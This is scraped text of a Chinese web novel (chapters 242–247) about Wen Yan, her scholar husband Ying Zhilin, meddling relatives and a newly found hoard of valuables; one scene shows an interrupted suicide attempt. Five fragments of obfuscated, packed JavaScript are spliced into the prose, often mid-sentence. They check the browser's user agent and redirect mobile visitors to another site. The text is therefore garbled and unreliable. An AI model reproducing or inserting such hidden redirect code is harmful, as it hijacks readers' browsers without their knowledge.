浑浊的眼睛都有了焦距一般,恶狠狠瞪着蒋老太的方向:“我孙媳妇行得正坐得端,她跟自己哥哥说笑几句有什么问题? 你不要乱造她的谣,否则我跟你没完。 我这座小庙容不下你这尊大佛,不如你现在就走。” 蒋老太一下被噎住,登时就变了脸色,声音也变得尖厉刺耳:“老姐姐,你这是要赶我走啊!” 第242章:早就倾心于她 “你竟然想赶我走!哎呦,我一个老婆子,一把年纪了还要被人欺负哟。 你要是不待见我,你直说让我走就是了,何必这样羞辱人。 呜呜呜呜……” 蒋老太一边呜呜哭着,一边抹眼泪。 那模样,仿佛受了天大的委屈一般。 二姑姑见自己的婆母哭了,顿时就维护起婆母,责备起自己的亲娘来。 五婆婆本就不善言辞,此时被亲生女儿指责,她顿时又气又委屈,浑浊的眼眶里蓄满泪水,嘴唇也一直在颤抖。 “五婆婆可没有羞辱你们。”佩儿突然出现在院门口,她的身后还站着好几位婶子,都是跟闻颜关系要好的。 佩儿继续道:“你冤枉我家小姐孤男寡女,打情骂俏。对你这样爱嚼舌根的,我家老太太不欢迎你们,请你们离开,合情合理吧。 难不成,别人都骑到脖子上拉屎了,我们还要乖乖受着不成?” “我们又没说错,本来就是孤男寡女共处一室!”蒋婆子道。 佩儿看着她冷笑一声,随即插着腰,对着空气大喊:“应知海!” “哎!”东跨院里,应知海应了一声。 不一会儿,他就打开小门跑了过来。 他的脸上还沾着漆黑的墨点子。 佩儿问他:“你刚才在院子里干什么?” 应知海仰着小脸,认真答道:“七先生在教我写字。” 谣言不攻自破。 蒋老太不以为意地撇了撇嘴。 刘婶见她那样,瞪了她一眼,便跟着佩儿去了东跨院。 其他婶子有样学样,一一瞪了过去。 蒋老太被瞪得心火直冒。 东跨院里。 婶子们看见闻颜,很是热情:“一听你回来了,我们就厚着脸皮不请自来了。 没有打扰到你吧。” 婶子们都不是空手来的。 有的带着几个杏子,有的带着几个桃子。 还有位婶子,装了满满一碗现剥的莲子。 “什么打扰不打扰的,你们能来我高兴还来不及呢!”闻颜笑着招呼她们落座,“佩儿,快去把我们买的点心果子拿出来,给婶子们尝尝鲜。” 佩儿笑盈盈地去了。 没一会儿,东跨院里就传来愉快的笑声。 蒋老太听着,觉得刺耳极了。 婶子们稍坐一会儿,就拿着闻颜送的土仪,告辞离开了。 就刘婶和大虎哥留了下来。 闻颜请大虎哥找几个工匠,在东西跨院,各开一道小门。 “怎么突然要开小门?是因为应晴那家子?”刘婶朝主院睇了一眼,问道。 闻颜道:“这只是一小部分原因。是我又请了一批制墨的匠人,西跨院会当作他们的宿舍,给他们开一道小道小门,进出也方便些。” 当初建房时,闻颜就预料到会增加人口,所以在建西跨院时,她特地建得大一些,房间也更多。 现在就派上用场了。 “弟妹放心,这件事我明儿一天就能办好。” 闻颜把所需银两给他,又让佩儿装了一些土仪,才将他送出门去。 “我需要十个勤快伶俐的女子,十五至四十岁皆可,若是有在家中过得不好的女子,优先选择她们。” 闻颜提起净面娘子的事,笑着对刘婶道:“我要在京城里开一个传供女子消遣的会馆,刘婶你的女儿若是想去工作,也可以跟他们一起去学。” 刘婶面露迟疑:“我倒是想让她去学,但她现在订了亲,得问过她夫家的意思。” 闻颜点点头:“只要她想来,随时都可以。” 刘婶笑呵呵的:“好,你这份情谊,我们永远记在心里。” 夕阳西下。刘婶稍坐了一会儿,就去灶房忙活晚食了。 闻颜也提着礼盒,朝村长家而去。 村长夫妻见她,很是高兴。 又给她拿零嘴,又给她倒果子茶。 “你不在的这段日子,这老头担心得夜里都睡不好,生怕你这个金疙瘩在外面出什么意外。”村长婆婆笑着打趣。 闻颜跟他们说了一些在外的趣事,稍坐了一会儿就回家了。 她顺着村里的小道慢慢往回走。 刚走到岔路口,忽然看见对面山脚的小道上,走出一个人。 闻颜定睛看了几眼,好像是放学归来的应知林。 闻颜便站在原地,等着他同行。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344284|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应知林一边走路,一边回想着放学时的事。 无蕴子拦住他,一副欲言又止的神情。 “大师,你有话不妨直说。”应知林难得看见一向直爽的大师,露出如此犹豫的神情。 无蕴子张了好几次口,才说出一句:“你真的了解你的妻子吗?” “大师这话是什么意思?” “知人知面不知心,你对她,还是多个心眼吧,起码要看清她到底是个什么样的人,是不是?” 无蕴子说完就走,留下的问题,却让应知林想了一路。 闻颜是什么样的? 他为何问出这样的问题? 莫非他经历了什么事? 或是听到什么,关于闻颜的谣言? 不知不觉间,他已经回到村子。 抬起头来,就见前方路口,站着一名身姿袅娜的女子。 是闻颜! 应知林寂静的心思,瞬间雀跃起来。 他迫不及待地,跑起来。 他想看到她,靠近她。 他的心绪从未像现在这般快活过。 离她越来越近,他的心跳也越来越快。 她瘦了,也晒黑了。 不过,眼神还是一如既往的炯炯有神。 他本能的,想要将她拥入怀中。 但他又生生地克制住,在距离她一米远停住。 他微喘着气,一瞬不瞬地盯着她看:“你回来了!” “嗯。”闻颜看着他点点头,“今天下午刚到的。” 见他额头沁出一层薄汗,把自己的手帕拿给他:“擦擦汗吧。” “谢谢。”应知林接过她的帕子,擦去额头上的汗珠。 随之而来的,是从水帕上传来的馨香。 就好像……是闻颜在亲手给他擦汗。 自己竟对她生出这般下流的念头,应知林倒吸一口气。 他在心中唾弃自己的同时,默默念着:非礼勿视,非礼勿动…… 可是…… 此次分别了许久,他每天都忍不住挂念着她。 数着她离开的时间,盼着她回来的日子。 此时见到她,他才惊觉,自己早就倾心于她。 第243章:应知林快狠准 应知林从未对一个女子动心过。 闻如月没有,**儿亦没有。 只有闻颜的一颦一笑,才能牵动他的情绪。 见他擦好汗。 闻颜伸手拿回自己的手帕。 应知林却塞进自己的衣袖里:“我用过了,自然要洗完了再还给你。” “那好吧。”闻颜收回手,“我们快回去吧,刘婶的晚饭快做好了。” “嗯。”应知林点点头,跟在她身后。 两人的影子,被夕阳投在地上,拉得很长。 一前一后,显得有些错落。 应知林疾走两步,与闻颜并肩而行。 道路不算宽。 闻颜往旁边让了让,应知林能走得安稳些。 两人边走边聊。 闻颜忽然问道:“现在已经七月中,不到一个月就要秋闱了吧。” “是。” 闻颜想到他前世榜上无名,便安慰道:“科考虽然重要,但你的身体更要紧。 你不要给自己太大的压力。 今年不中,三年之后再考便是。” 应知林哭笑不得:“你怎么对我没有一点信心?” “当然有信心啊。我是担心你的身体嘛,哈哈哈……”闻颜干笑两声。 应知林安慰道:“放心吧,我一定会考个举人回来,不让你这几个月支持打水漂。” “那你加油!”闻颜捏着拳头,给他鼓劲。 虽然他的语气像哄小孩,应知林心中却是非常熨帖的。 两人闲聊着,很快就回到家了。 院门之中,传出饭菜的香气,以及孩子的嬉闹声。 应知林皱了皱眉,推门进去。 就见院子里,或坐或站,或笑或闹竟有二十来口人。 二姑姑家的人全到了。 其中两个姑娘,身上穿着颜色鲜艳的衣服,与她们黝黑的皮肤格格不入。 那些衣服和头花,好像是应知雪的! 而被人夺了衣服首饰的应知雪,则是一脸幽怨神情的看着那对姐妹。 “这些人交给我就行。”应知林轻拍闻颜的胳膊安抚。 “二姑姑,二姑父,你们什么时候来的。” 秋闱在即。 应知林三四天才回家住一晚。 二姑姑他们昨日到的,应知林并不知情。 “知林,你可回来了。担心死二姑了。” “有劳你挂心了。”应知林皮笑肉不笑地扯了扯嘴角,与他们周旋寒暄。 二姑姑话里话外,都是各种打探。 打探家里的生活开支由谁出钱。 也打探他对秋闱有几分把握。 应知林只是苦笑一声:“实力重要,但有时候运气也是实力的一部分。” 二姑姑一时竟不知该如何接话,尴尬地笑了两声,就不再言语。 很快,晚饭就开始了。 应知林看见辰七哥,客气有礼地与他寒暄:“想必您就是辰七哥了吧! 闻名不如见面,你比闻颜说的,更有杀伐气魄。” 原本还有些紧张的辰七,顿时放松不少。 应知林又特地把辰七哥介绍给五婆婆。 五婆婆一听辰七哥要教小海读书写字,顿时高兴得不得了。 二姑姑没想到,这个缺胳膊少腿的残废,竟然真的读书识了。 她眼热得不行。 家中三个孙儿,跟应知海差不多的年纪,若是能跟着一起读书识字就好了。 不过,不等她开口。 应知林就招呼大家入席吃饭。 饭吃到一半,应知林突然问道:“二姑姑,你这次过来,准备玩几天?” 这位二姑姑,人不算多坏,但有自己的小算盘,很会算计。 他不想留下她给闻颜添堵。 “啊……那个……” “是想玩三天?还是五天?您告诉我,我也好跟书院告假,陪着你们。” 二姑姑露出担心他学业的神情,认真道:“哪能耽误你的学业! 秋闱在即,你应该以学业为重。 你不必分心照顾我们,我们不会介意,更不会怪你忽略我们的。” “是我会介意。”应知林不客气地道,“二姑姑家男丁众多,而我家,中有我和知海两个男丁,其余的都是大姑娘。 若我不在,就只剩知海一个娃娃,成日与二姑姑家七八个男丁生活在同一个院落,于女子的名声有碍,实在不妥。 我还得在家陪着才行。 况且,你在我这儿待太久,家里的庄稼没人打理,会影响粮食收成的吧。” 应知林摆出,他们一日不走,他就一日不回书院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344285|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的架势。 二姑姑脸上青一阵白一阵的:“……” 应知林继续追问:“二姑姑,你不说话,是你们明天就要回家了吗?” “当然不是。”蒋老太急切地否认。 二姑姑找补道:“我们算外人,那辰七算什么?” 应知林道:“七先生是闻颜的兄长,也是小海的西席先生,你们谁能教小海武艺,也可以留下,不论男女。除此之外,没得谈。 所以,你们到底要在这边玩几天呢?” 应知林明明声音温和,二姑姑一家听来,却觉得十分刺耳。 最会胡搅蛮缠的蒋老太,都不敢在他面前造次。 二姑姑知道,想稀里糊涂住下来,是不可能了。 “知林,不是我们死皮赖脸,实在是……那边已经没有我们的容身之处,只能来投奔娘家。”二姑姑说着说着,就揪着衣袖擦起了眼泪。 应知林蹙了一下眉:“你仔细说说。” 二姑姑吱吱呜呜说了一大堆,却没一句说在点子上。 听的人,只觉得他们好惨,大家都欺负他们。 具体怎么惨,却一点都没说到。 应知林知道她在敷衍。 但他并未追问。 只要能让他们离开自家,管是什么原因,他不在乎。 应知林问道:“你们身上还有多少钱人,带来多少粮食?是否准备在松山村买田置业?” 二姑姑便想顺杆往上爬,让应知林帮助他们。 应知林只淡淡扫他一眼,便道:“不过日子是你们在过,我不应该多嘴的。 只是,我既然过继到这个家,我就是这个家,唯一的香火后代。 我会奉养老人,同样,这座房子也该由我来继承。 所以,这所房子,你们不必打主意。” 二姑姑脸色一变,“那你让我们住在哪里?” “我作为晚辈,确实不能置之不理。 村里还有一座空宅,我会买下来送给你们居住。 另外再给你们一百斤粮食应急,你们这两日过去收拾一番,三日后,你们就搬过去吧。 之后的日子,就要全靠他们自己了。” 应知林的语气不容置喙。 闻颜惊讶地看着应知林。 他处理起极品亲戚来,果真是快狠准。 第244章:应知林茶起来了 饭后,闻颜洗漱完,在院子里乘凉观月,辰七哥陪着一起。 应知林洗漱之后,佩儿要把脏衣服收走,等明天刘婶来洗。 “等等。”应知林叫住佩儿。 从衣服里找出一方手帕,“其他的你拿走吧。” 佩儿瞄了一眼,那方手帕越看越眼熟,好像是小姐的! 小姐的手帕,怎么到姑爷手里了? 佩儿并未细想,提着脏衣服就去了正院的井边。 结果她到井边,发现应知林也在。 他正小心翼翼地往手帕上抹皂角,动作很是熟练。 佩儿瞪圆了眼睛。 姑爷读书马马虎虎,做农活家事倒是格外的熟练。 佩儿把别人的衣服放下之后,就开始洗她和闻颜的。 应知林并未说什么,佩儿却觉得气氛有点凝重。 就听应知林出声问道:“你们这次出去,可在有遇到什么趣事?” “姑你,你不会是想打听我们的行踪吧!”佩儿狐疑地看着他。 应知林道:“你跟着闻颜,胆子倒是大了不少。” 佩儿吐了吐舌头:“反正我们已经回来了,有些事跟你说了也无妨。” 佩儿把坑地霍耀行的事隐去,随后就将一路上的见闻说了。 应知林听完之后,脸上不由露出温柔神色:“她对弱小,总是格外温柔。” 透完最后一遍水,应知林拿着手帕就走了。 佩儿不小心看到他的表情,没来由一个激灵,瞬间就起了一层鸡皮疙瘩:“咦……思春的男人可真吓人。” 应知林回东跨院。 辰七哥已经回房间休息了。 经过两个月的锻炼,基本的吃喝拉撒,已经能自理。 闻颜也坐到窗前写写画画。 应知林晾晒好手帕,便到书房中看书。 靠窗的位置,刚好可以看到闻颜侧颜。 他摸了摸自己的胸口。 既然已经喜欢上她了,无论如何都不愿再放她走。 可她只将婚事当成契约。 但凡有一点点逾越,她便会竖起高墙。 将他拒之门外已经算好的。 惹恼了她甚至会抛弃自己。 她对那些素不相识的弱小灾民都能全力相帮,对自己这个夫君反而…… 此时此刻,他恨不得自己也是弱小无助的…… ‘啪’的一声。 一个纸团落在书本上。 应知林额头被什么东西砸了一下。 他回过头,却发现应知林正看着他。 他捡起纸团,刚一抬头就发现闻颜似笑非笑地看着自己。 她的手里还抛着一个纸团:“你看书就看书,盯着我发呆什么呆?” 应知林目光闪避:“抱歉,我想事想得入神,失了分寸。” 闻颜狐疑地看他一眼,总觉得他在骗自己。 但她没有证据,只得放下纱帘,熄灯休息了。 应知林摸了摸鼻尖,想她的事也是事,自己不算说谎吧! 回到自己的家中,闻颜格外安心,倒头就睡着了。 闻颜这一觉睡得不知人事。 还是佩儿来叫,她才醒过来。 “小姐,姑爷叫我来唤你起床去吃早食了。” “应知林?”闻颜肚子也饿得咕咕叫,也顾不上多想,洗漱一番,就来到了院子里。 因为人多人,吃饭都要分两桌。 闻颜在自家这一桌坐下。 应知林正在给大家盛饭,突然“哎呀”一声,手也跟着哆嗦了一下。 “你的手被烫了!”闻颜立刻注意到了,“没伤着吧!” 应知林翻过手臂,露出的手腕上通红一片。 “哎呀,好严重!” 闻颜拉着他的手,就往水缸那边走:“快,用冷水泡着。佩儿,我梳妆台上,放瓷瓶的妆奁里有一瓶烫伤膏,是只红色瓷瓶,你快拿来。” “哦,我马上去。”佩儿转身就跑走了。 “快用凉水泡着,这样才不容易起泡溃烂。”闻颜把他的手按进水缸里,语气焦急责备道,“这可是你的右手,读书写字最少不得要用它,你怎么就这么不小心!” 应知林委屈道:“把正你也觉得我不考不中,手好不好又没多大关系。” 闻颜斜他一眼,未再多言。 应知林却在心里偷笑。 看来,只要自己弱小,笨拙一些,很容易让她关注自己。 二姑姑却一旁哎呦哎呦的直唤心疼:“现在到处都缺水,这么大一缸水,怎么就拿来泡手了,以后还怎么喝啊!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344286|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她语气夸张地使唤应知雪,拿个盆把他的手换出来。 却没一个人理她。 泡了半个时辰凉水,伤口才不发烫。 闻颜给他涂了烫伤膏,大家这才开始吃饭。 饭后。 应知林托人去书院请了三天假。 他要趁这几天,把二姑姑一家弄走。 他先回房拿钱。 刚打开自己放钱的柜子,又停住了。 他转头就去找闻颜借钱。 “你找我借银子?”这家伙看着像个穷光蛋,其实富得流油,哪用得着找她借钱啊。 应知林心虚地别开目光,摸了摸鼻子:“我……那个,知雪到了出嫁的年纪,我手里那些钱要攒着给他当嫁妆。” 闻颜:“……” 他自己给应知雪攒嫁妆,闻颜也没什么好说的。 当即就拿了五十两碎银给他。 买旧屋和一百斤粮食,二十两就足够了。 但是多的他也没还回去,反而写了欠条给她:“等我以后赚钱了还你。” 如此一来,他们之间多了一层羁绊。 往后就算她与自己闹掰,和离离开,他也能借此欠条,找上她去还钱。 一天找她还十文钱,五十两够他还十三年了。 不管什么羁绊,要有才行。 应知林心满意足,脚步轻快地走了。 他刚刚离开,刘婶就到了。 她还带来六七个女子,其中并没有她女儿。 许是成婚在即,夫家不许。 闻颜并未多问。 闻颜惊讶道:“刘婶,怎么这么早?” “你的的事,当然十二分的上心。”昨晚她吃过晚饭,就拉着丈夫出门挑净面娘子了。 最小年龄只有十四岁,年龄最大的,已经四十二岁了,脸上带着深看劳作的愁苦,发间已经出现白发。 闻颜忍不住多看了几眼。 那名妇人顿时紧张起来,眉头皱成川字纹,双手不安地搓着衣摆:“秀……秀才娘子,我……我什么都能干的人。 你……你觉得我做净面娘子不好,可以端茶倒水,打扫屋子。 求求你,不要筛掉我。我真的很需要这份工作。” 妇人说着,膝盖一弯,就给闻颜跪下了。 第245章:一夜暴富 “哎!你这是干什么!”闻颜吓得躲到一旁。 刘婶急得跺了跺脚,连忙跑过去,把妇人强行拽了起来:“你这是干嘛,是想逼着别人非要你不可吗? 我要是秀才娘子,本来考虑收你的,此时也该犹豫了。 你自己招厌,可别把我也连累了。” 妇人又急又后悔,急得连话都说不清了。 刘婶瞪她一眼:“你接下来闭紧嘴,秀才娘子问什么你答什么,旁的不要多说一个字。” 妇人急切地点点头,用眼神告诉刘婶,她全都听刘婶的。 刘婶把闻颜拉到一旁,低声说:“香莲是个苦命的女人。 四岁的时候,娘为了给她生个弟弟,一尸两命没了。 不到半年,她爹就给她娶了个后娘。 她在后娘后底下讨生活,日子很是艰辛,才十四就嫁人了。 婆家对她倒是不错,只不过她男人五岁的时候发烧,把这里烧坏了。”刘婶点了点自己的脑袋。 她嫁过来又当媳妇又当娘,生了一个儿子,儿子肯干,媳妇孝顺,又生了对孙子孙女。 本以为她是熬出头了,谁知……” 刘婶长长叹了口气,说起香莲的遭遇,就忍不住眼泛红。 “麻绳专挑细处断,噩运只找苦命人。 她的傻男人和儿子上山砍柴。 遇上落雨,岸边长了一对香莲喜欢吃的菌子。 她的傻相公非要摘回家给她吃,没想到……就那么摔下了悬崖。 吃药请大夫花光了家底,命是保住了,却瘫在了床上。” “闻颜,你放心,她品性很好,嫁到村里二十几年,跟人脸红的次数,两只手都数得过来。 做事也手脚麻利,刚嫁过来时,她家只有两亩地,在她的操持下,愣是变成五亩。 只可惜,那些地也卖了。” 闻颜也听得心酸。 她回握住刘婶的手,安慰道:“我信得过刘婶,自然也信得过刘婶找来的人。 今天你带来的人全都留下吧。” 刘婶惊喜道:“那香莲也……” 闻颜点点头,笑着道:“她也留你。你悄悄告诉她,如果她学成了净面娘子,每个月有一两的月钱。若是学不成……” 闻颜顿了顿,才说道,“若是学不成,自然也可以做烧火挑水的伙计,不过,工钱只有净面娘子的一半。” 她终究不忍心,将一个苦命的女子逼太狠。 刘婶却喜上眉梢,一半也有五百文钱。 对于香莲来说,可是解了燃眉之急。 “行,我一会儿就跟她说。” 闻颜叫佩儿拿来几罐子手膏:“这是润手用的。以后他们要服侍的人,都是京城里达官显贵家的夫人小姐,她的肌肤比刚出生的婴儿还要嫩滑。 若是手太粗糙,弄疼了贵人的脸,便是有十颗脑袋,都不够他们的砍的。” “是。”刘婶应着。 “你让他们回去收拾行李吧,最迟后天就会送他们去学艺。”闻颜又叮嘱一些细节,就让刘婶领着人离开了。 走的时候,香莲感激地朝她鞠躬。 闻颜朝她笑笑,就没再多说。 一道粉色身影,从月亮门一闪而过。 闻颜认得那衣服,是应知雪的。 不过那身形却不像应知雪。 闻颜挑了挑眉:应该是二姑姑两个女儿中的一个。 大虎哥带着人来好一会儿了。 向闻颜确定了开门的位置,他就带着工匠去忙活了。 闻颜看着大家井然有序的忙活,她也难得有片刻清闲。 她这才有时间整理,从司徒明的私宅里带回来的东西。 关上院门,锁严门窗之后,闻颜和佩儿就打开了箱子。 箱盖一打开,一片白光闪过,刺得闻颜身体直往后仰。 佩儿捂着嘴,也藏不住她的惊讶:“哇!好多银子!” “这一袋是小金鱼、三袋金瓜子、五袋金叶子是我从他家炕底下找出来的!” 佩儿在尽力压低声音了,却仍然藏不住她语气中的兴奋。 “哇!这一箱是珍珠吧!” “这里面全是玉器,一、二、三、四……戒指玉佩吊坠一共有十七件,还有一柄玉如意,两座玉佛,四只玉钵……” 佩儿一声一声地报着。 除此之外,箱底还铺着一层金条,三万两。 古董字画无数,有前朝大师的遗作,也有当代大家的作品。 甚至还有一幅无蕴子大师的猫戏图。 闻颜脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344287|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里全是“进账一百银”的提示音,美妙极了。 佩儿将东西一件一件铺在地上。 她卧室的床铺和地上都占满了。 啧啧啧! 司徒明跟在霍耀行身边,不过四五年时间,竟然就收罗了这么多宝贝。 前世他跟在霍耀行身边更久。 霍家又吞了敬明媚的嫁妆。 落到司徒明手里的东西,不知比这里翻了多少倍。 霍耀行再艰难的时刻,他也没有拿出一星半点来帮助司徒明。 可见,他们所谓的忠诚与信任,也不过是建立在各自的利益上罢了。 “发财了发财了!佩儿,咱们发财了!”闻颜的眼睛都被金子映成黄色的了。 这简直是一夜暴富嘛! 佩儿也高兴得很,“小姐以后再不用叫穷了。” 笑容逐渐从闻颜脸上消失:“我们现在能用的,也就这些现银。古董玉器不敢在京城附近处理。 谁知在这上面,有没有什么印迹。 若是引起霍耀行的怀疑,轻易就能查到他们头上。 只能拿去远远的地方变卖成钱。 这些东西一旦离了京城,价格大降不说,还不好脱手。 玉器好些,那些字画,不管是前朝还是当代的,一旦离了文人圈子,贬值最为严重。 所以,能到他们手里的钱,起码会少一半。 黄金也只能卖去金楼,或是衙门兑换。 若是一次性出手太多,亦会引起旁人怀疑。 所以,成箱的宝贝在手,想要变现却异常艰难。 不过。 即使不能现在就换成银子,这么多宝贝,每天拿出来看一看,心情也能愉悦不少。 点好数,主仆二人把东西往大箱子里收。 “小姐,这只木匣有夹层。里面藏着两张房契。” 闻颜接过房契看了看。 一大一小两个院子,并没外室住的那一间。 可惜了。 这种不动产,闻颜更是不敢去碰的。 只能先收起来,等将来霍耀行一家彻底落败,她才有可能真正的收入囊中。 两人手脚麻利,很快就把东西收得差不多了。 忽然,外面传来敲窗棂的声音。 第246章:应知林又厉害了 外面突然传来敲门声。 “谁啊?”闻颜问道。 “是我,应知林。” “有什么事吗?” “田叔来了,在外面等你。” “我马上来了。”闻颜应了一声,加快了速度。动作也放轻了许多,生怕碰出声音,引来怀疑。 佩儿皱眉:“我明明把院门关上了的,他是怎么进来的?” 闻颜留下一块玉佩,一袋没有记号的金叶子。 其余的全部锁进箱子,合力将箱子推到床下,再用床单遮住,看不出丝毫痕迹,佩儿就想去开门。 “等等。”闻颜叫住了她,她将玉佩和金叶子塞她手中,“给你的。” “给我?”佩儿反应了一下。 “嗯。这一趟跟我出去,你辛苦了。玉佩你留着当嫁妆,金叶子拿去打首饰,孝敬你娘亲。” 佩儿连连推辞,“我不要,我是你的婢女,跟随你是我应该做的。” 闻颜:“就算是婢女,也该赏罚分明。 更况我并不把你当婢女看,我当你是左膀右臂来培养的,只要你好好跟着我,以后有我一口饭吃,也绝对少不了你一口汤。” “小姐……”佩儿当即就红了眼眶,眼泪大颗大颗的掉。 闻颜拍拍她毛茸茸的脑袋:“快擦擦眼泪吧,外面还有人等着呢。” “嗯。”佩儿赶紧擦干眼泪,和闻颜一起出门了。 应知林还等在门外。 看见闻颜,他立即汇报情况:“房子已经买下了,再有两日,二姑一家就会搬出去。” 经过月亮门时,闻颜特地看了一下那个月亮门的门栓。 应知林解释道:“这个门栓只用浆糊固定,忘记钉钉子了。” 原来是这样。 一会儿让大虎哥把门栓钉好。 田叔这次带来十四人。 发现他们基本上都缺胳膊少腿,有一人甚至没了两条腿,走路都要人抬着。 人瘦得不成样子,双目无光,仿佛连活下去的欲望都没有了。 田叔道:“他们曾经都是义父手下的兵,绝对信得过。” 闻颜点点头。 一一了解情况之后,闻颜发现他们大多数都是普通士兵,只有三个人懂些拳脚功夫。 闻颜便将让这三人做护院。 她带回来那么多宝贝,二姑姑一家又住进来了,总要多些防备。 其余人,闻颜根据他们的身体情况,安排在不同的岗位,工具也做了些改动。 改造工具一时半刻完成不了,闻颜就让先安顿下来,好好休息几日,调养好身体。 闻颜将他们安排在西跨院。 不必闻颜亲自动手,应知林就先找到二姑姑,让她把房间腾出来。 “不行!”二姑姑大声反驳。 “不行?为何?你们后日就要搬走,也不差这两日了。”应知林语气平缓,却让二姑姑心生惧意。 “我……我们搬就是了,你……你别吓人啊。”二姑姑说完,就灰溜溜的去收拾东西了。 闻颜朝他感谢一笑,就去找田叔商议,明日送人去花楹镇的事。 与此同时。 应大傻家中。 香莲得到刘婶的私下答复,兴冲冲的回了家。 这里却静悄悄的,婆母、儿子儿媳和孙子都不在。 她激动的心情想找人倾诉 便回自己的卧房,去找她的傻夫君。 然而,她刚刚走到门口,就看见傻夫君正将自己的肘子,往一个麻绳套里面送。 “相公!”香莲大喊一声,冲了过去。 她一把推开应大傻,凄厉质问:“你做什么!你为什么要这样做?” 应大傻下身瘫痪,被香莲用力一推,身体向后倒去,后脑撞在木柜上,痛得他‘哇’的一声哭了出来。 “哇!痛!好痛!娘子我好痛!”应大傻哇哇大哭,挣扎着要扑进香莲怀里。 却因为下肢无力,只能在原地挣扎。 “你干什么呀,这干什么呀!你要扔下我一个人吗?”香莲心痛不已,扑过去抱住应大傻。 应大傻一边呜呜哭着,一边说:“他们都说我是废物,会拖累娘子,会拖累我们的孩子和孙子,大傻不想做废物,大傻不想害家人。” “不会的怎么会,我们找到活路了。秀才娘子要我了,我去学净面娘子,一个月有一两银子的工钱。 一两银子你知道有多少吗?你看病花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344288|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钱,也才三十两,我两年多就赚回来了。 以后我们的日子,会越来越好的,你想信我,好不好,你不要扔下我一个人。” 香莲说着说着,眼泪就流下来了。 应大傻看见她哭,慌得手足无措。 一会儿给她擦眼泪,一会儿给她呼呼。 “香莲,你刚才说的都是真的?秀才娘子真的叫你去做工了?”香莲的婆婆不知何时回来了,她激动地问。 “是。”香莲擦干眼泪,点头道,“本来我的年龄太大不合适。不过,秀才娘子得知我们家的情况之后,就格外开恩,让我跟着去学习。 只要我合格了,就能留在她的铺子里做工。” “太好了,我们家有希望了,香莲啊,你可要好好学,知道吗?”眼看就要散掉的一个家,又看到了希望。 香莲婆婆怎么能不激动,不高兴呢? 她对着闻颜家的方向,就拜了三拜,嘴里念念有词。 闻颜家中。 二姑姑一家胡乱收拾一通,就将房子腾了出来。 房间里。 二姑父皱巴着脸,不悦地道:“你还真答应搬出去啊?” “我也不想搬啊。可是有什么办法,你没看见应知林那副表情,就跟要吃似的,你难道敢跟他对着干?” 二姑父摸摸自己,心虚地移开了目光。 他要是敢反抗,早就说了,也不会等到现在,只会在背后怂恿应晴。 应晴不悦地哼了哼:“他应知林在得意个什么劲儿啊! 要不是过继到我娘名下,他还在乔婆子那个老巫婆手底下受折磨。 他不敢顶撞乔婆子,倒是敢对我吆五喝六的。 呸!什么读书人,也不过是个欺软怕硬的软蛋而已。” “哼,咱们就再忍耐几日,等秋闱之后,让应知林从梧桐书院挑两个举人做女婿。以后有了当官的女婿,咱们就跟着鸡犬升天了 到时你还看得这几间破落院子?” 二姑爷立即讨好地给他捏肩捶腿:“还是娘子有远见。” “咣”的一声。 房门从外面撞开。 蒋家小女儿闯进来:“娘,我有一个好消息要告诉你!” 第247章:应知林开启诱妻模式 “娘,咱们要发财了!”蒋家小女儿一脸兴奋地扑进二姑姑怀里。 “死丫头,一堆活等着干,你跑哪里玩去了。”二姑姑戳着她的额头。 二姑父则一脸好奇地追问:“什么发财?你快说说。” 